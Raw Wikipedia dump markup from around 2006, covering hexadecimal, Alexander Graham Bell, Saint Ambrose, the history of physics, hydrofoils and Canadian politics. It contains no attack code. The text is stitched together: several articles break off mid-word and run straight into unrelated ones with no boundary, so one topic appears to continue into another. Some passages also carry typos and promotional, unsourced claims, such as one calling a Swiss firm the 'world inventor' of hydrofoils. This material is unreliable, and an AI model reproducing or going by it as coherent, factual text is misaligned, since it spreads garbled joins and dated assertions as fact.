full hexadecimal number. ===Conversion via binary=== As computers generally work in binary the normal way for a computer to make such a conversion would be to convert to binary first and then make use of the direct mapping from binary to hexadecimal. ==Hexadecimal in the media== In ''[[The Simpsons]]'', on the episode [[Treehouse of Horror VI]], where Homer enters the third dimension (''Homer³''), a hexadecimal string (46 72 69 6e 6b 20 52 75 6c 65 73 21) is floating in &quot;3-D land&quot; which, when used as character indices in the [[ASCII]] character set, translates to &quot;Frink rules!&quot; (excluding the quotes but including the exclamation point). In the TV show [[ReBoot]] there is a character named Hexadecimal ==See also== *[[Base32]] *[[Base64]] *[[Hex editor]] *[[Hexadecimal time]] *[[Hexspeak]] *[[Nibble]] &amp;mdash; one hexadecimal digit can exactly represent one &quot;nibble&quot; *[[Numeral system]] &amp;mdash; a list of other base systems ==External links== *[http://www.intuitor.com/hex/ Intuitor Hex Headquarters] - A site dedicated to changing the traditional [[base 10]] ([[decimal]]) standard to hexadecimal. *[http://www.insidereality.net/site/content/math/base_conversion.php Simple Conversion Methods] *[http://leetkey.mozdev.org Leet Key], a Firefox extension that supports ASCII/Hex conversions and typing *[http://acms.synonet.com/bendix/intro/bitsof.pdf Bits of Meaning (pdf)] - Introduction to Computer Arithmetic for Bendix G-15 computer *[http://www.pcnineoneone.com/howto/hex1.html Hexadecimal basics] *[http://www.web-colors-explained.com/hex.php Hexadecimal Numbers Guide] ===Calculators=== *[http://www.iboost.com/tools/number.htm Hex/Unsigned Decimal/Binary Converter] (integer only) *[http://www.statman.info/conversions/hexadecimal.html Hex/Unsigned Decimal Converter] *[http://www.edepot.com/win95.html Virtual Calc 2000 - Arbitrary Precision Calculator] will do floating-point hexadecimal arithmetic *[http://www.paulschou.com/tools/xlate/ Online HEX, Binary, Base64, etc... Encoder/Decoder] [[Category:Computer arithmetic]] [[Category:Positional numeral systems| 16]] [[cs:Hexadecimální číslo]] [[da:Hexadecimale talsystem]] [[de:Hexadezimalsystem]] [[el:Δεκαεξαδικό σύστημα αρίθμησης]] [[es:Sistema hexadecimal]] [[eo:Deksesuma sistemo]] [[fr:Système hexadécimal]] [[gl:Código hexadecimal]] [[ko:십육진법]] [[it:Sistema numerico esadecimale]] [[he:בסיס הקסדצימלי]] [[hu:Tizenhatos számrendszer]] [[nl:Hexadecimaal]] [[ja:十六進記数法]] [[no:Sekstentallsystemet]] [[nn:Sekstentalsystemet]] [[pl:Szesnastkowy system liczbowy]] [[pt:Sistema hexadecimal]] [[ru:Шестнадцатеричная система счисления]] [[sk:Šestnástková sústava]] [[sl:Šestnajstiški številski sistem]] [[sr:Хексадецимални систем]] [[fi:Heksadesimaalijärjestelmä]] [[sv:Sedecimala talsystemet]] [[th:เลขฐานสิบหก]] [[tr:Hexadecimal]] [[zh:十六进制]]</text> </revision> </page> <page> <title>Hex</title> <id>13264</id> <revision> <id>38107678</id> <timestamp>2006-02-04T05:47:26Z</timestamp> <contributor> <username>Driscolj</username> <id>215792</id> </contributor> <minor /> <text xml:space="preserve">{{Wiktionarypar|hex}} '''Hex''' may mean: *[[Hex (board game)]]. *[[Hex (Discworld)]], a fictional computer from Terry Pratchett's ''Discworld'' novels. *[[Hex (Doctor Who)]], a character in the ''Big Finish Productions'' audio plays based on the television series ''Doctor Who''. *[[Hex (TV Series)]]. *[[Hex (album)]], an album by the band [[Bark Psychosis]]. *[[Hex (band)]], a heavy metal band. *[[Hex (book)]], set in [[New York City]]. *[[Hex (film)]], a [[1973 in film|1973]] film *A Greek root word denoting &quot;six&quot; as in &quot;[[hexagon]]&quot;, a six-sided geometric figure. *Abbreviation of [[hexadecimal]], a base-16 number system often used when doing low-level work on computers (e.g., assembly or machine code programming). *[[Hex River]], South Africa. *A [[curse]] or magical spell. *[[pow-wow (folk magic)]], the Pennsylvania German magical system of &quot;hex work&quot;. *The name o
Today, he is still widely considered to be the inventor of the [[telephone]], although this matter has become [[Invention of the telephone#Controversy|controversial]], with a number of people claiming that [[Antonio Meucci]] was the 'real' inventor and others holding out for [[Elisha Gray]], the founder of the [[Western Electric]] Manufacturing Company. In addition to his work in [[telecommunications]] technology, he was responsible for important advances in [[aviation]] and [[hydrofoil]] technology. ==Biography== Born '''Alexander Bell''' in [[Edinburgh]], he later adopted the middle name ''Graham'' out of admiration for Alexander Graham, a family friend. Many called him &quot;the father of the Deaf.&quot; This title is somewhat ironic due to his belief in the practice of Eugenics. He hoped to one day eradicate deafness from the population. His family was associated with the teaching of [[elocution]]: his grandfather in [[London]], his uncle in [[Dublin]], and his father, [[Alexander Melville Bell]], in Edinburgh, were all professed elocutionists. The latter has published a variety of works on the subject, several of which are well known, especially his treatise on [[Visible Speech]], which appeared in Edinburgh in 1868. In this he explains his method of instructing [[deaf mutes]], by means of their [[eyesight]], how to articulate words, and also how to read what other persons are saying by the motions of their [[lip]]s. Alexander Graham Bell was educated at the [[Royal High School]] of Edinburgh, from which he graduated at the age of 13. At the age of 16 he secured a position as a pupil-teacher of elocution and music in [[Weston House Academy]], at [[Elgin, Moray|Elgin]], [[Moray]], Scotland. The next year he spent at the [[University of Edinburgh]]. He was graduated from University College London. From 1866 to 1867, he was an instructor at [[Somersetshire College]] at [[Bath, England|Bath]], [[Somerset]], [[England]]. While still in Scotland he is said to have turned his attention to the science of [[acoustics]], with a view to ameliorate the deafness of his mother. In 1870, at the age of 23, he [[emigrated]] with his family to [[Canada]] where they settled at [[Brantford]]. Before he left Scotland, Bell had turned his attention to [[telephony]], and in Canada he continued an interest in communication machines. He designed a piano which could transmit its music to a distance by means of electricity. In 1873, he accompanied his father to [[Montreal]], Canada, where he was employed in teaching the system of visible speech. The elder Bell was invited to introduce the system into a large day-school for mutes at [[Boston, Massachusetts|Boston]], but he declined the post in favor of his son, who became Professor of Vocal Physiology and Elocution at [[Boston University]]'s School of Oratory. [[Image:1876 Bell Speaking into Telephone.jpg|thumb|Bell speaking into prototype model of the telephone]] At [[Boston University]] he continued his research in the same field, and endeavored to produce a telephone which would not only send musical notes, but articulate speech. With financing from his American father-in-law, on [[March 7]], [[1876]], the [[United States Patent and Trademark Office|U.S. Patent Office]] granted him [[Patent]] Number 174,465 covering &quot;the method of, and apparatus for, transmitting vocal or other sounds telegraphically ... by causing electrical undulations, similar in form to the vibrations of the air accompanying the said vocal or other sound&quot;, the [[telephone]]. After obtaining the patent for the telephone, Bell continued his many experiments in communication, which culminated in the invention of the photophone-transmission of sound on a beam of [[light]] &amp;mdash; a precursor of today's [[fiber optics|optical fiber]] systems. He also worked in medical research and invented techniques for teaching speech to the deaf. The range of Bell's inventive genius is represented only in part by the eighteen patents granted in his name alone and the twelve he shared with his collaborators. These included fourteen for the telephone and [[Telegraphy|telegraph]], four for the [[photophone]], one for the [[phonograph]], five for aerial vehicles, four for hydroairplanes, and two for a [[selenium]] cell. Bell had many great ideas that are now real inventions. During his Volta Laboratory period, Bell and his associates considered impressing a magnetic field on a record, as a means of reproducing sound. Although the trio briefly experimented with the concept, they were unable to develop a workable prototype. They abandoned the idea, never realizing they had glimpsed a basic principle which would one day find its application in the tape recorder, the computer, and the CD-ROM. Bell's own home used a primitive form of air conditioning, in which fans blew currents of air across great blocks of ice. He also anticipated modern concerns with fuel shortages and industrial pollution. Methane gas, he reasoned, could be produced from the waste of farms and factories. At his [[Canada|Canadian]] estate in [[Beinn Bhreagh, Nova Scotia|Beinn Bhreagh]], [[Nova Scotia]], he experimented with composting toilets and devices to capture water from the atmosphere. In a magazine interview published shortly before his death, he reflected on the possibility of using solar panels to heat houses. In 1882, he became a [[naturalized citizen]] of the United States. In 1888, he was one of the founding members of the [[National Geographic Society]] and became its second president. He was the recipient of many honors. The [[France|French Government]] conferred on him the decoration of the [[Légion d'honneur]] (Legion of Honor), the [[Académie française]] bestowed on him the [[Volta Prize]] of 50,000 francs, the [[Royal Society of Arts]] in London awarded him the [[Albert medal]] in 1902, and the University of [[Würzburg]], [[Bavaria]], granted him a Ph.D. He was awarded the [[AIEE]]'s [[Edison Medal]] in 1914 for &quot;For meritorious achievement in the invention of the telephone.&quot; Bell married Mabel Hubbard, who was one of his pupils at Boston University, as well as a deaf-mute, on [[July 11]], [[1877]]. His invention of the telephone was actually a device he was trying to create that would allow him to communicate with his wife and his deaf mother. He died at Beinn Bhreagh, located on [[Nova Scotia]]'s [[Cape Breton Island]] near the village of [[Baddeck, Nova Scotia|Baddeck]], in 1922 and is buried alongside his wife atop Beinn Bhreagh mountain overlooking [[Bras d'Or Lake]]. He was survived by two of their four children. Bell was listed among the [[100 Greatest Britons]], [[The Greatest American|the 100 Greatest Americans]] and in the top ten [[The Greatest Canadian|Greatest Canadians]], the only person to be on more than one list. ====Bell and decibel==== The ''bel'' (B) is a unit of measurement invented by [[Bell Labs]] and named after Bell. The bel was too large for everyday use, so the [[decibel]] (dB), equal to 0.1 B, became more commonly used. The dB is commonly used as a unit for measuring sound intensity. ===The photophone=== Another of Bell's inventions was the [[photophone]], a device enabling the transmission of sound over a beam of light, which he developed together with [[Charles Sumner Tainter]]. The device employed light-sensitive cells of crystalline [[selenium]], which has the property that its [[electrical resistance]] varies inversely with the illumination (i.e., the resistance is higher when the material is in the dark, and lower when it is lighted). The basic principle was to modulate a beam of light directed at a receiver made of crystalline selenium, to which a [[telephone]] was attached. The modulation was done either by means of a vibrating mirror, or a rotating disk periodically obscuring the light beam. This idea was by no means new. Selenium had been discovered by [[Jöns Jakob Berzelius]] in 1817, and the peculiar properties of crystalline or granulate selenium were discovered by [[Willoughby Smith]] in 1873. In 1878, one writer with the initials J.F.W. from [[Kew]] described such an arrangement in ''[[Nature (journal)|Nature]]'' in a column appearing on [[June 13]], asking the readers whether any experiments in that direction had already been done. In his paper on the photophone, Bell credited one [[A. C. Browne]] of [[London]] with the independent discovery in 1878&amp;mdash;the same year Bell became aware of the idea. Bell and Tainter, however, were apparently the first to perform a successful experiment, by no means any easy task, as they even had to produce the selenium cells with the desired resistance characteristics themselves. In one experiment in [[Washington, D.C.]] the sender and the receiver were placed on different buildings some 700 [[Foot (unit of length)|feet]] (213 [[metre]]s) apart. The sender consisted of a mirror directing sunlight onto the mouthpiece, where the light beam was modulated by a vibrating mirror, focused by a [[optical device|lens]] and directed at the receiver, which was simply a [[parabolic]] reflector with the selenium cells in the [[focus]] and the telephone attached. With this setup, Bell and Tainter succeeded to communicate clearly. The photophone was [[patent]]ed on [[December 18]] [[1880]], but the quality of communication remained poor and the research was not pursued by Bell. ===Metal detector=== Bell is also credited with the invention of the [[metal detector]] in 1881. The device was hurriedly put together in an attempt to find the bullet in the body of [[President of the United States|U.S. President]] [[James Garfield]]. The metal detector worked, but didn't find the bullet because the metal bedframe the President was lying on confused the instrument. Bell gave a full account of his experiments in a paper read before the [[American Association for the Advancement of Science]] in August 1882. Though unsuccessful in its first
rn bishops. A [[synod]], composed of thirty-two bishops, was accordingly held at [[Aquileia]] in the year [[381]]. Ambrose was elected president; and Palladius, being called upon to defend his opinions, declined, insisting that the meeting was a partial one, and that, all the bishops of the empire not being present, the sense of the Christian church concerning the question in dispute could not be obtained. A vote was then taken, when Palladius and his associate Secundianus were deposed from the episcopal office. The increasing strength of the Arians proved a formidable task for Ambrose. In [[384]] the young emperor and his mother [[Justina]], along with a considerable number of [[clergy]] and [[laity]], especially military, professing the Arian faith, requested from the bishop the use of two churches, one in the city, the other in the suburbs of [[Milan]]. Ambrose refused, and was required to answer for his conduct before the council. He went, attended by a numerous crowd of people, whose impetuous zeal so overawed the ministers of Valentinian that he was permitted to retire without making the surrender of the churches. The day following, when he was performing divine service in the basilica, the prefect of the city came to persuade him to give up at least the Portian church in the suburbs. As he still continued obstinate, the court proceeded to violent measures: the officers of the household were commanded to prepare the [[Basilica]] and the Portian [[church]]es to celebrate divine service upon the arrival of the emperor and his mother at the ensuing [[festival]] of [[Easter]]. Perceiving the growing strength of the [[prelate]]'s interest, the court deemed it prudent to restrict its demand to the use of one of the churches. But all entreaties proved in vain, and drew forth the following characteristic declaration from the bishop: :&quot;If you demand my person, I am ready to submit: carry me to [[prison]] or to [[death]], I will not resist; but I will never betray the church of [[Jesus|Christ]]. I will not call upon the people to succour me; I will die at the foot of the [[altar]] rather than desert it. The tumult of the people I will not encourage: but [[God]] alone can appease it.&quot; Circumstances never actually tried Ambrose's courage to this degree. ===Ambrose and emperors=== [[Image:AmbroseTheodosiusVanDyck.jpg|thumb|300px|van Dyck: Saint Ambrose and emperor Theodosius]] If the imperial court was displeased with the religious principles and conduct of Ambrose, it respected his great political talents; and when necessity required, his aid was solicited and generously granted. When [[Magnus Maximus]] usurped the supreme power in [[Gaul]], and was meditating a descent upon Italy, Valentinian sent Ambrose to dissuade him from the undertaking, and the embassy was successful. On a second attempt of the same kind Ambrose was again employed; and although he was unsuccessful, it cannot be doubted that, if his advice had been followed, the schemes of the usurper would have proved abortive; but the enemy was permitted to enter [[Italy]]; and [[Milan]] was taken. Justina and her son fled; but Ambrose remained at his post, and did good service to many of the sufferers by causing the plate of the church to be melted for their relief. Ambrose was equally zealous in combating the attempt made by the upholders of the old state religion to resist the enactments of Christian emperors. The pagan party was led by [[Quintus Aurelius Symmachus]], consul in [[391]], who presented to [[Valentinian II]] a forcible but unsuccessful petition praying for the restoration of the [[Altar of Victory]] to its ancient station in the hall of the [[Roman Senate]], the proper support of seven [[Vestal Virgin]]s, and the regular observance of the other pagan ceremonies. To this petition Ambrose replied in a letter to Valentinian, arguing that the devoted worshippers of [[idolatry|idols]] had often been forsaken by their [[list of deities|deities]]; that the native valour of the Roman soldiers had gained their victories, and not the pretended influence of pagan [[priest]]s; that these idolatrous worshippers requested for themselves what they refused to Christians; that voluntary was more honourable than constrained [[virginity]]; that as the Christian ministers declined to receive temporal emoluments, they should also be denied to pagan priests; that it was absurd to suppose that [[God]] would inflict a famine upon the empire for neglecting to support a religious system contrary to His will as revealed in the [[Holy Scripture]]s; that the whole process of nature encouraged innovations, and that all nations had permitted them even in religion; that heathen sacrifices were offensive to Christians; and that it was the duty of a Christian prince to suppress pagan ceremonies. In the epistles of Symmachus and of Ambrose both the petition and the reply are preserved. The turn of mind of Ambrose, and his rhetorical application of apparently logical processes are well displayed in his 40th and 41st ''Epistles''. A bishop was accused of instigating the burning of a synagogue by an [[anti-Semitism|anti-Semitic]] mob, and Emperor Theodosius was preparing to order the bishop to rebuild it. Ambrose discouraged the Emperor from taking this step, not that the bishop in question had never encouraged fanatic destruction, but on the grounds that it would appear to show favoritism to the [[Jew]]s. He adduces recent instances of inaction: when houses of various wealthy individuals were burned in Rome; when the house of the Bishop of [[Constantinople]] was burnt; when several Christian basilicas were burnt during the reign of [[Julian the Apostate|Julian]], some of which were still not rebuilt, an action Ambrose attributes to the Jews. Ambrose asks that Christian monies not be used to build a place of worship for unbelievers, [[heretic]]s or Jews, and he reminds Theodosius that some Christian laity had said of Emperor [[Maximus]], &quot;he has become a Jew&quot; because of the edict Maximus issued regarding the burning of a Roman synagogue. Ambrose did not oppose punishing those directly responsible for burning the synagogue. To support the logic of his argument, Ambrose halted the celebration of the [[Eucharist]], essentially holding the Christian community hostage, until Theodosius agreed to abort the investigation without requiring reparations to be made by the bishop. [[Theodosius I]], the emperor of the East, espoused the cause of Justina, and regained the kingdom. Theodosius was threateded with excommunication by Ambrose for the massacre of 7,000 persons at [[Thessalonika|Thessalonica]] in [[390]], and was bidden imitate [[David]] in his repentance as he had imitated him in guilt - Ambrose readmitted the emperor only after several months of penance to the Eucharist. This incident shows the strong position of a bishop in the Western part of the empire, even when facing a strong emperor - the controversy of [[John Chrysostom]] with a much weaker emperor a few years later in Constantinople lead to a crushing defeat of the bishop. Ambrose's influence upon Theodosius is credited with eliciting the enactment of the &quot;Theodosian decrees&quot; of [[391]] (see entry [[Theodosius I]], which are more characteristic of the constant agenda of Ambrose than of Theodosius. In [[392]], after the assassination of [[Valentinian II]] and the usurpation of [[Eugenius]], Ambrose fled from Milan; but when Theodosius was eventually victorious, he supplicated the emperor for the pardon of those who had supported Eugenius. Soon after acquiring the undisputed possession of the [[Roman empire]], Theodosius died at Milan in [[395]], and two years later ([[April 4]], [[397]]) Ambrose also passed away. He was succeeded as bishop of Milan by [[Simplician]]. Ambrose's body may still be viewed in the church of S. Ambrogio in Milan, where it has been continuously venerated &amp;#8212; along with the bodies identified in his time as being those of Sts. Gervase and Protase &amp;#8212; and is one of the oldest extant bodies of historical personages known outside [[Egypt]]. ===Character=== Many circumstances in the history of Ambrose are characteristic of the general spirit of the times. The chief causes of his victory over his opponents were his great popularity and the reverence paid to the episcopal character at that period. But it must also be noted that he used several indirect means to obtain and support his authority with the people. He was liberal to the [[poor]]; it was his custom to comment severely in his preaching on the public characters of his times; and he introduced popular reforms in the order and manner of public worship. It is alleged, too, that at a time when the influence of Ambrose required vigorous support, he was admonished in a dream to search for, and found under the pavement of the church, the remains of two [[martyr|martyrs]], [[Gervasius]] and [[Protasius]]. The applause of the people was mingled with the derision of the court party. ==Theology== Though ranking with [[Augustine of Hippo|Augustine]], [[Jerome]], and [[Gregory the Great]], as one of the [[Latin]] [[Doctor of the Church|Doctors of the Church]], he is most naturally compared with [[Hilary]], whom he surpasses in administrative excellence as much as he falls below him in [[theology|theological]] ability. Even here, however, his achievements are of no mean order, especially when we remember his juridical training and his comparatively late handling of [[Biblical]] and [[doctrinal]] subjects. His great spiritual successor, [[Augustine of Hippo|Augustine]], whose conversion was helped by Ambrose's [[sermon]]s, owes more to him than to any writer except [[Paul of Tarsus|Paul]]. Ambrose's intense episcopal consciousness furthered the growing [[doctrine]] of the Church and its [[sacerdotal]] ministry, while the prevalent [[asceticism]] of the day, continuing the [[Stoicism|Stoic]] an
scientists independently that this process could potentially be harnessed to produce massive amount of energy, either as a civilian power source or as a weapon. Both the Germans and the Americans pursued research in [[nuclear physics]] to assess the ability to create such a weapon in war. The [[German nuclear energy project]], led by Heisenberg, was unsuccessful, but the Allied [[Manhattan Project]] reached its goal. In America, a team led by Fermi achieved the first man-made [[nuclear chain reaction]] in [[1942]] in the world's first [[nuclear reactor]], and in [[1945]] the world's first nuclear explosive was detonated at [[Trinity test|Trinity Site]], north of [[Alamogordo, New Mexico]]. In August 1945, the USA dropped two [[nuclear weapon]]s on the Japaense cities of [[atomic bombings of Hiroshima and Nagasaki|Hiroshima and Nagasaki]], and official press reports gave (perhaps an unfair amount) of the credit to the physicists involved in the project. After the war, industrial governments would become the primary sponsors of physics. The scientific leader of the Allied project, theoretical physicist [[Robert Oppenheimer]], noted the change of the imagined role of the physicist when he noted in a speech that: :&quot;''In some sort of crude sense, which no vulgarity, no humor, no overstatement can quite extinguish, the physicists have known sin, and this is a knowledge which they cannot lose.''&quot; The terms of this new relationship with the military would be harshly set when Oppenheimer had his security clearance revoked in a much publicized hearing during the height of the [[McCarthy era]] under suspicions of his loyalty. Though the process had begun with the invention of the [[cyclotron]] by [[Ernest O. Lawrence]] in the 1930s, physics in the postwar period entered into a phase of what historians have called &quot;[[Big Science]]&quot;, requiring massive machines, budgets, and laboratories in order to test their theories and move into new frontiers. The primary patron of physics became state governments, who recognized that the support of &quot;basic&quot; research could often lead to technologies useful to both military and industrial applications (it was not until the post-Cold War [[1990s]] that the US Congress would fail to approve funding for a particle accelerator). Currently [[CERN]] still enjoys funding from the European community. [[Quantum field theory]] was formulated in order to extend quantum mechanics to be consistent with special relativity. It achieved its modern form in the late [[1940s]] with work by [[Richard Feynman]], [[Julian Schwinger]], [[Sin-Itiro Tomonaga]], and [[Freeman Dyson]]. They formulated the theory of [[quantum electrodynamics]], which describes the electromagnetic interaction. Quantum field theory provided the framework for modern [[particle physics]], which studies [[fundamental force]]s and elementary particles. In [[1954]], [[Yang Chen Ning]] and [[Robert Mills (physicist)|Robert Mills]] developed a class of [[gauge theory|gauge theories]], which provided the framework for the [[Standard Model]]. The Standard Model, which was completed in the [[1970s]], successfully describes almost all elementary particles observed to date. At the same time, [[Stephen Hawking]] had discovered the spectrum of radiation emanating during the collapse of matter into [[black hole]]s; by [[2004]], even Hawking would admit that some [[Hawking radiation]] could escape a black hole. === Developments since 1990 === Attempts to unify [[quantum mechanics]] and [[general relativity]] made significant progress during the 1990s. At the close of the century, a [[Theory of everything]] was still not in hand, but some of its characteristics were taking shape. [[Loop quantum gravity]], [[string theory]], and [[black hole thermodynamics]] all predicted [[quantized]] [[spacetime]] on the [[Planck scale]]. === Developments since 2000 === A new experiment demonstrated that [[speed of gravity|gravity propagates]] at approximately the [[speed of light]], confirming one prediction of [[general relativity]]. &lt;!-- :''-- add stuff on convergence of superstring stuff to [[M-theory]]'' --&gt; === Notes === * {{fnb|1}}Cornelius Lanczos, ''The Variational Principles of Mechanics'' (Dover Publications, New York, 1986). ISBN 0-486-65067-7. * {{fnb|2}}[http://www.physics.ucla.edu/~cwp/articles/noether.asg/noether.html E. Noether's Discovery of the Deep Connection Between Symmetries and Conservation Laws] by [[Nina Byers]] * {{fnb|3}}A [[pseudotensor]] changes its sign under inversion by some transformation matrix. [http://mathworld.wolfram.com/Pseudotensor.html See note]. * {{fnb|4}}Alpher, Herman, and Gamow. ''Nature'' '''162''',774 (1948). * {{fnb|5}}[http://nobelprize.org/physics/laureates/1978/wilson-lecture.pdf Wilson's [[1978]] Nobel lecture] * [http://uk.arxiv.org/abs/physics/0310001 Indian physics] == See also == * [[History of science and technology]] * [[Physics]] {{Wikibookspar|Wikiversity|History of Physics}} [[Category:History of physics| ]] [[Category:Physics]] &lt;!-- interwiki --&gt; [[af:Geskiedenis van fisika]] [[bg:История на физиката]] [[da:Fysikkens historie]] [[de:Geschichte der Physik]] [[es:Historia de la física]] [[fr:Histoire de la physique]] [[hr:Povijest fizike]] [[he:היסטוריה של הפיזיקה]] [[pl:Historia fizyki]] [[pt:História da física]] [[sl:Zgodovina fizike]] [[sv:Fysikens historia]] [[vi:Lịch sử vật lý học]]</text> </revision> </page> <page> <title>Hydrofoil</title> <id>13761</id> <revision> <id>39585723</id> <timestamp>2006-02-14T13:33:31Z</timestamp> <contributor> <ip>84.189.192.8</ip> </contributor> <comment>/* Current operation */</comment> <text xml:space="preserve">[[Image:Jetfoil Toppi 001.JPG|right|thumb|The Jetfoil Toppi is a [[ferry]] which connects [[Yakushima]], [[Tanegashima]] Island and [[Kagoshima]] port in [[Japan]]]] A '''hydrofoil''' is a [[boat]] with wing-like foils mounted on struts below the [[hull (ship)|hull]]. As the craft increases its speed the hydrofoils develop enough [[lift (force)|lift]] for the boat to become foilborne - i.e. to raise the hull up and out of the water. This results in a great reduction in [[drag (physics)|drag]] and a corresponding increase in speed. Early hydrofoils used U-shape foils. Hydrofoils of this type are known as '''surface-piercing''' since portions of the U-shape hydrofoils will rise above the water surface when foilborne. Modern hydrofoils use T-shape foils which are '''fully-submerged'''. Fully submerged hydrofoils are less subjected to the effects of waves, they are therefore more stable at sea and are more comfortable for the crew and passengers. This type of configuration however is not self-stabilizing. The angle of attack on the hydrofoils needs to be adjusted continuously in accordance to the changing conditions, a control process that is performed by computers. Failure to make the proper adjustments will result in the foilborne hull dropping violently back into the sea. ==History== [[image:MeteorHydrofoil.jpg|thumb|300px|left|In Russia, a Meteor floats in displacement mode near [[Peterhof]] preparing to travel through the [[Gulf of Finland]] to the [[Winter Palace]] in [[Saint Petersburg|St. Petersburg]].]] A March [[1906]] ''[[Scientific American]]'' article by American hydrofoil pioneer William E. Meacham explained the basic principle of hydrofoils. [[Alexander Graham Bell]] considered the invention of the ''hydroplane'' a very significant achievement. After reading this article Bell began to sketch concepts of what is now called a hydrofoil boat. With Casey Baldwin he began hydrofoil experimentation in the summer of [[1908]]. Baldwin studied the work of the Italian inventor [[Enrico Forlanini]] and began testing models based on his designs. This led him and Bell to the development of hydrofoil watercraft. During Bell's world tour of 1910-1911 he and Baldwin met with Forlanini in Italy. They had rides in the Forlanini hydrofoil boat over [[Lake Maggiore]]. Baldwin described it as being as smooth as flying. On returning to [[Baddeck, Nova Scotia|Baddeck]] a number of designs were tried culminating in the HD-4. Using [[Renault]] engines a top speed of 87 km/h (54 mph) was achieved, accelerating rapidly, taking wave without difficulty, steering well and showing good stability. Bell's report to the United States Navy permitted him to obtain two 260 kW (350 horsepower) engines. On [[September 9]], [[1919]] the HD-4 set a world marine speed record of 114 km/h (70.86 mph). This record stood for ten years. Baron von Schertel worked on hydrofoils prior to and during [[World War II]] in [[Germany]]. After the war Schertel's team was captured by the Russians. Schertel himself went to [[Switzerland]], where he established the Supramar company. In [[1952]], Supramar launched the first commercial hydrofoil, PT10, in Lake Maggiore, between Switzerland and [[Italy]]. The PT10 is of surface-piercing type, it can carry 32 passengers and travel at 35 knots. The Financier Hussain Najadi in 1968 acquired from UBS Group the SUPRAMAR AG of Lucerne, Switzerland. THE COMPANY was the world inventor of Hydrofoils with licensees spanning Europe, USA and Asia. He expanded its operations into Japan, Hong Kong, Singapore, UK, Norway and USA. General Dynamics of the United States became its Licensee and the PENTAGON awarded its first R&amp;D naval research project in the field of super cavitations. Hitachi Shipbuilding of Osaka, Japan, was another Licensee of SUPRAMAR, as well as many leading ship owners and shipyards in the OECD countries. He established over 200 hydrofoil lines spanning five continents. From [[1952]] to [[1971]], Supramar designed many models of hydrofoils: PT20, PT50, PT75, PT100 and PT150. Except the PT150, all are of surface-piercing type. Over 200 of Supramar's design were built, most of them by Rodriquez in Italy. Hitachi in Jap
ces desire more control over their abundant natural resources, especially energy reserves; industrialized [[Central Canada]] is concerned with its manufacturing base, and the Atlantic provinces strive to escape from being less affluent than the rest of the country. In order to ensure that social programs such as health care and education are funded consistently throughout Canada, the &quot;have-not&quot; (poorer) provinces receive a proportionately greater share of federal &quot;[[equalization payments|transfer (equalization) payments]]&quot; than the richer, or &quot;have&quot;, provinces do; this has been somewhat controversial. The richer provinces often favour freezing transfer payments, or rebalancing the system in their favour, based on the claim that they already pay more in taxes than they receive in federal government services, and the poorer provinces often favour an increase on the basis that the amount of money they receive is not sufficient for their existing needs. Particularly in the past decade, some scholars have argued that the federal government's exercise of its unlimited constitutional spending power has contributed to strained federal-provincial relations. This power, which allows the federal government to spend the revenue it raises in any way that it pleases, allows it to overstep the constitutional division of powers by creating programs that encroach on areas of provincial jurisdiction. The federal spending power is found in s. 102 of the ''[[British North America Act 1867]]'', now known as the ''Constitution Act, 1867''. A prime example of an exercise of the spending power is the ''[[Canada Health Act]]'', which is a conditional grant of money to the provinces. Delivery of health services is, under the Constitution, a provincial responsibility. However, by making the funding available to the provinces under the Canada Health Act contingent upon delivery of services according to federal standards, the federal government has the ability to influence health care delivery. This spending power, coupled with Supreme Court rulings — such as ''Reference Re Canada Assistance Plan (B.C.)'' — that have held that funding delivered under the spending power can be reduced unilaterally at any time, has contributed to strained federal-provincial relations. ===Quebec and Canadian politics=== Except for three short-lived transitional or minority governments, Prime Ministers from Quebec have led Canada continuously since 1967. Quebecers have led both Liberal and Conservative governments in this period. Prime Ministers are now expected to be fluent in English and at least functional in French. In selecting leaders, political parties give preference to candidates who are fluently bilingual. Also, by law, judges from Quebec must hold three of the nine positions on the [[Supreme Court of Canada]]. This representation makes sure that at least three judges have sufficient experience with the civil law system to treat cases involving Quebec laws. ====Bilingualism==== One of the effects of Canada being bilingual is that the Prime Minister is usually able to speak in their second language and for many years Canada has had bilingual Prime Ministers. The most striking example of what this can result in occurred when [[Brian Mulroney]] was Prime Minister. He often said one thing to reporters in English and something that was different and actually contradictory in French. Even those that were not bilingual (and 17% of the country is considered bilingual and many more would be able to follow a simple conversation with reporters) were made aware of this in news coverage. However for those who could actually understand the difference it was quite striking. While Brian Mulroney was best known for doing this, other Prime Ministers have also been self-contradictory at times between their French and English comments. ==National unity== Canada has a long and storied history of secessionist movements (see [[Secessionist movements of Canada]]). National unity has been a major issue in Canada since the forced union of the Canadas in 1840. The predominant and lingering issue concerning Canadian national unity has been the ongoing conflict between the French-speaking majority in Quebec and the English-speaking majority in the rest of Canada, popularly referred to as &quot;[[Two Solitudes|two solitudes]]&quot;. Quebec's continued demands for recognition of its &quot;[[distinct society]]&quot; through special political status has led to attempts for constitutional reform, most notably with the failed attempts to amend the constitution through the [[Meech Lake Accord]] and the [[Charlottetown Accord]] (the latter of which was rejected though a national [[referendum]]). Since the [[Quiet Revolution]], sovereignist sentiments in Quebec have been variably stoked by the [[Canada Act 1982|patriation of the Canadian constitution in 1982]] (without Quebec's consent) and by the failed attempts at constitutional reform. Two provincial referenda, in 1980 and 1995, rejected proposals for sovereignty with majorities of 60% and 50.6% respectively. Given the narrow federalist victory in 1995, a reference was made by the [[Jean Chrétien|Chrétien]] government to the [[Supreme Court of Canada]] in 1998 [[Re Secession of Quebec|regarding the legality of a unilateral secession of Quebec (or any province)]]; this resulted in the passage of the [[Clarity Act]] in 2000. Fears over the sovereignty of Quebec have recently gained renewed importance as the [[Bloc Québécois]], a sovereignist party that had, until recently, been seen as a spent force, have seen their fortunes reversed by revelations of alleged massive corruption and misspending in Quebec by the Liberal Party of Canada. Their increased support has come at the expense of the Liberal Party, the only viable federalist party in the province. To stem apparent &quot;Western alienation&quot; by [[Central Canada]] and, particularly, [[Ottawa]] (through [[metonymy]]), there have also been renewed calls in Alberta to implement a &quot;firewall&quot; — as outlined in the [[Alberta Agenda]] — in order to further reduce the presence of the federal government in that province. Such an option, advocated by the likes of [[Ted Morton]] and [[Stephen Harper]], would see Alberta take steps to make full use of its constitutional powers, much as Quebec has done. Similarly, recent remarks made by [[Ontario]]'s [[Premier]] [[Dalton McGuinty]] has spoken of a growing dissatisfaction with [[Canadian Confederation]], especially with the fiscal imbalance that plagues the relationship between the province and the federal government. More than $23 billion CDN is given to the federal government each year than returned. ==Political conditions== Paul Martin's Liberal Party won a minority victory in the June [[Canadian federal election, 2004|2004 general elections]]. In December of [[2003]], Martin had succeeded fellow Liberal Jean Chrétien, who had, in 2000, become the first Prime Minister to 